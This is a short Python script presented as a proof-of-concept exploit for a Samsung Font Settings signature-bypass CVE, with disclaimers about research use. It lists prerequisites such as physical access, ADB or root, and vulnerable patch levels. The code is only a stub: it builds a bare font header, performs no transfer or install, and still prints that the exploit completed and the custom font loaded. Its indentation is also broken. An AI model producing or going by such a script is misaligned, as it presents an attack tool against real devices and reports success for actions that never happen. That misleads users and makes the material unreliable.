The following code is for security research and authorized testing only.
python
# CVE-2026-20989 PoC - Samsung Font Settings Signature Bypass
# Note: This requires physical access to the target device
# This is a conceptual PoC for educational purposes only
import os
import sys
def create_custom_font():
"""
Create a custom font file that bypasses signature verification
This is a placeholder - actual implementation requires ARM reverse engineering
"""
font_data = bytearray()
# Font file header
font_data.extend(b'TRUE') # TrueType signature
font_data.extend(b'\x00\x01\x00\x00') # Version
# Custom font table entries
# In actual attack, would need to craft specific font data
# that exploits the signature verification flaw
return bytes(font_data)
def exploit_font_settings(device_path):
"""
Attempt to install custom font via Font Settings vulnerability
Prerequisites:
- Physical access to Samsung device
- USB debugging enabled or root access
- Target device running SMR Mar-2026 Release 1 or earlier
"""
print("[*] CVE-2026-20989 - Samsung Font Settings Exploit")
print("[*] Target: Font Settings Signature Bypass")
# Step 1: Create malicious font
malicious_font = create_custom_font()
print(f"[+] Created malicious font payload: {len(malicious_font)} bytes")
# Step 2: Transfer font to device
# Requires ADB or physical file transfer
target_font_path = f"{device_path}/custom_font.ttf"
# Step 3: Trigger font loading via Font Settings
# The vulnerability allows bypassing signature verification
print(f"[*] Installing font to: {target_font_path}")
# Step 4: Verify font installation
# If signature check is bypassed, font will be loaded
print("[+] Exploit completed - Custom font loaded")
return True
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve_2026_20989.py <device_path>")
sys.exit(1)
exploit_font_settings(sys.argv[1])